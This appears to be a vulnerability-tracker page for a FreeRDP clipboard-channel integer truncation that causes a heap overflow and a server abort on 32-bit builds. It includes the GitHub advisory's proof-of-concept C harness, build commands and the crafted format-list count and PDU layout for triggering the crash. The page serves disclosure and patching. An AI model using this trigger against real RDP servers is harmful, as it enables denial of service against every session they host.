Read the docs

Integer truncation in FreeRDP clipboard channel causes heap overflow

Priority LOW 31CWE-190Published · Updated

Key facts

Attack vector
Local
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-632x-m3j5-h676. Fix status from GitHub.

Summary

FreeRDP versions 2.0.0 and later before 3.34.0 are affected. On 32-bit builds, the CLIPRDR format list serializer truncates a size calculation (CWE-190), so a remote RDP client that sends a crafted format list count makes the server allocate too little memory and write past the buffer. An authenticated RDP client can make the server process abort, denying service to every session it hosts. No exploitation is reported.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

Description from the GitHub advisory

### Summary On a 32-bit build (`sizeof(size_t) == 4`), the CLIPRDR server's format-list serializer computes the packet length in `UINT32` and then adds the 8-byte header in 64-bit arithmetic that is truncated back to `size_t`. A format-list count supplied by a remote RDP peer (`numFormats = 119304647`) makes the length `0xFFFFFFFC`, so `0xFFFFFFFC + 8` truncates to `4` and the server allocates a 4-byte buffer, then writes an 8-byte header into it — a 4-byte heap buffer overflow. On the default build (runtime asserts enabled) the capacity check fires and the server process calls `abort()`, denying service to every session it hosts; the attack is repeatable at will. Severity is **Medium (CVSS 6.5)**: full remote availability loss on the default build, with no attacker-controlled data and no demonstrated confidentiality or integrity impact. ### Details The defect is in `channels/cliprdr/cliprdr_common.c`. `cliprdr_packet_format_list_new()` computes the body length in `UINT32` (`cliprdr_common.c:254`) and passes it to `cliprdr_packet_new()` (`cliprdr_common.c:258`): ```c // cliprdr_common.c:254,258 const UINT32 length = formatList->numFormats * 36; ... wStream* s = cliprdr_packet_new(CB_FORMAT_LIST, 0, length); ``` `cliprdr_packet_new()` guards only against `UINT32_MAX` and then adds the header in 64-bit, which truncates to `size_t` on 32-bit (`cliprdr_common.c:119-134`): ```c // cliprdr_common.c:119-134 wStream* cliprdr_packet_new(UINT16 msgType, UINT16 msgFlags, size_t dataLen) { WINPR_ASSERT(dataLen < UINT32_MAX); // :121 passes: 0xFFFFFFFC < 0xFFFFFFFF wStream* s = Stream_New(nullptr, dataLen + 8ULL); // :122 (0xFFFFFFFC + 8) mod 2^32 = 4 -> malloc(4) if (!s) { WLog_ERR(TAG, "Stream_New failed!"); return nullptr; } Stream_Write_UINT16(s, msgType); // :130 offsets 0-1 (within request) Stream_Write_UINT16(s, msgFlags); // :131 offsets 2-3 (within request) Stream_Write_UINT32(s, 0); // :133 offsets 4-7 -> 4 bytes PAST the 4-byte allocation return s; } ``` For `numFormats = 119304647`: `length = 119304647 * 36 = 4294967292 = 0xFFFFFFFC` (no `UINT32` wrap), which passes the `dataLen < UINT32_MAX` assert. `Stream_New(nullptr, 0xFFFFFFFC + 8ULL)` computes `0x100000004` in 64-bit and truncates to `size_t` `4`, so `Stream_New` (`winpr/libwinpr/utils/stream.c:116`) allocates 4 bytes; the 8-byte header write at `:130-133` then runs 4 bytes past the allocation. The overrun is 4 constant zero bytes at a fixed offset; the peer controls the count that produces it, not the bytes or the address. Reachability (server role): a malicious RDP client sends a `CLIPRDR_FORMAT_LIST` PDU on the cliprdr channel of an authenticated session. The server parses it with `useLongFormatNames` enabled — the long-name counting loop (`cliprdr_common.c:508-520`) counts one format per ≥ 6 bytes, so a 715,827,882-byte PDU of `{formatId(4), empty UTF-16 name(2)}` entries yields `numFormats = 119304647`. The parsed list reaches the embedding application via `context->ClientFormatList`, which forwards it through the public `context->ServerFormatList` (`channels/cliprdr/server/cliprdr_main.c:1473`), implemented by `cliprdr_server_format_list()` (`:223`) which calls `cliprdr_packet_format_list_new(formatList, context->useLongFormatNames, FALSE)` (`:231`). `ServerFormatList`/`ClientFormatList` are public members of `CliprdrServerContext` (`include/freerdp/server/cliprdr.h`), created via the exported `cliprdr_server_context_new`. Two build outcomes, both observed on this tree: * **Default build (runtime asserts on):** the capacity check `WINPR_ASSERT(Stream_GetRemainingCapacity(_s) >= 4)` in `Stream_Write_UINT32_unchecked` (`winpr/include/winpr/stream.h:1089`) fires and the process aborts (exit 134). * **Assert-disabled build:** the 4-byte write proceeds into allocator slack (32-bit `glibc` `malloc(4)` yields 12 usable bytes, so nothing adjacent is corrupted) and the call returns an error cleanly; no crash. The faulting allocation size is an exact function of the peer-chosen count (default build, one run per value): | numFormats | length (UINT32) | alloc size (size_t) | outcome | |---|---|---|---| | 119304645 | 0xFFFFFFB4 | 0xFFFFFFBC (~4 GB) | `Stream_New` fails → NULL | | 119304646 | 0xFFFFFFD8 | 0xFFFFFFE0 (~4 GB) | `Stream_New` fails → NULL | | **119304647** | **0xFFFFFFFC** | **4** | **heap overflow / abort (the defect)** | | 119304648 | 0x00000020 (UINT32 wrap) | 40 | no overrun (call succeeds) | Exactly one reachable value produces the undersized allocation. Reproduced 3/3 on the default build (abort) and 3/3 under ASan (identical signature). ### Proof of concept Build the tree for 32-bit (the defect requires `size_t == 4`) with the default configuration, then compile a small program that includes the in-tree `cliprdr_common.c` and calls the serializer with the malicious count. ```sh # 32-bit configure (Release, runtime asserts ON = upstream default) CC="gcc -m32" CXX="g++ -m32" cmake -S /path/to/freerdp -B build32 \ -DCMAKE_BUILD_TYPE=Release -DWITH_SERVER=ON -DWITH_CLIENT=ON cmake --build build32 --target winpr freerdp -j # reproduction program (repro.c): compiles the exact in-tree cliprdr_common.c ``` ```c // repro.c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <winpr/stream.h> #include <freerdp/channels/cliprdr.h> wStream* cliprdr_packet_format_list_new(const CLIPRDR_FORMAT_LIST* fl, BOOL useLongFormatNames, BOOL useAsciiNames); int main(void) { uint32_t n = 119304647U; /* (2^32 - 4) / 36 : the truncating count */ CLIPRDR_FORMAT* f = calloc(n, sizeof(CLIPRDR_FORMAT)); /* empty names, as parsed */ CLIPRDR_FORMAT_LIST list = {0}; list.common.msgType = CB_FORMAT_LIST; list.numFormats = n; list.formats = f; printf("sizeof(size_t)=%zu numFormats=%u length=%u (0x%x)\n", sizeof(size_t), n, (uint32_t)(n*36U), (uint32_t)(n*36U)); wStream* s = cliprdr_packet_format_list_new(&list, TRUE, FALSE); printf("returned %s\n", s ? "non-NULL" : "NULL"); return 0; } ``` ```sh # compile against the built tree (asserts ON, matching the build) gcc -m32 -O1 -g -DWITH_VERBOSE_WINPR_ASSERT \ -Ibuild32/include -Ibuild32/winpr/include \ -I/path/to/freerdp/include -I/path/to/freerdp/winpr/include \ -I/path/to/freerdp/channels/cliprdr \ /path/to/freerdp/channels/cliprdr/cliprdr_common.c repro.c \ -Lbuild32/libfreerdp -Lbuild32/winpr/libwinpr \ -Wl,-rpath,build32/libfreerdp -Wl,-rpath,build32/winpr/libwinpr \ -lfreerdp3 -lwinpr3 -lm -o repro ./repro ``` Observed on this tree (default build) — the process aborts: ``` sizeof(size_t)=4 numFormats=119304647 length=4294967292 (0xfffffffc) [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((Stream_GetRemainingCapacity(_s) >= 4)) [.../winpr/include/winpr/stream.h:Stream_Write_UINT32_unchecked:1089] ... Aborted (core dumped) (exit 134) ``` Under an ASan build (`-DWITH_VERBOSE_WINPR_ASSERT=OFF -fsanitize=address`) the same program reports the overflow at the exact line: ``` ERROR: AddressSanitizer: heap-buffer-overflow on address 0xe8600794 WRITE of size 1 at 0xe8600794 thread T0 #3 cliprdr_packet_new channels/cliprdr/cliprdr_common.c:133 #4 cliprdr_packet_format_list_new channels/cliprdr/cliprdr_common.c:258 0xe8600794 is located 0 bytes after 4-byte region [0xe8600790,0xe8600794) allocated by thread T0 here: #1 Stream_New winpr/libwinpr/utils/stream.c:130 #2 cliprdr_packet_new channels/cliprdr/cliprdr_common.c:122 ``` The network trigger depends on the embedding server application: the fault is reached when a server forwards a client-supplied format list through `ServerFormatList`. A malicious RDP client sends a CLIP_CAPS PDU advertising `CB_USE_LONG_FORMAT_NAMES`, then a `CLIPRDR_FORMAT_LIST` PDU with `dataLen = 715,827,882` (119,304,647 entries of `{formatId(4), 2-byte null UTF-16 terminator}`) on the cliprdr channel of an authenticated session. No in-tree FreeRDP server forwards client format lists this way (`server/shadow` sends only its own list); the end-to-end network run used a minimal forwarding server written for the test, which aborted on the default build. Whether third-party servers built on this API forward client lists was not established. ### Impact A heap buffer overflow (4-byte write past a 4-byte allocation) in the CLIPRDR clipboard channel, triggered by a network-supplied format-list count. * **Who is impacted:** 32-bit FreeRDP-based RDP **servers** built on the public cliprdr server API whose application enables long format names and forwards received format lists via `ServerFormatList` (no in-tree server does this; see above). The attacker is an authenticated RDP client. * **Confidentiality: none.** The flagged operation is a write of a constant; nothing is read out of the process. * **Integrity: none.** The overrun bytes are constant zeros at a fixed offset; the peer controls neither the value nor the address, and on the allocator tested here they land in `malloc` slack with no observable corruption. * **Availability: high.** On the default build a remote authenticated client aborts the server process, killing every session it hosts, repeatably.

Why it matters now

Fix Fixed FreeRDP (c): 3.34.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)>= 2.0.03.34.0Patch availableGHSA-632x-m3j5-h676
  • FreeRDP (c) Vendor— Affected >= 2.0.0 Fixed in 3.34.0 Patch available GHSA-632x-m3j5-h676

Remediation

Upgrade FreeRDP to version 3.34.0 or later.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

  • Fix · GHSA-632x-m3j5-h676 FreeRDP (c) Fixed in 3.34.0 Advisory →

Timeline

  1. 2026-12-03 Threatist record created from GHSA-632x-m3j5-h676

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences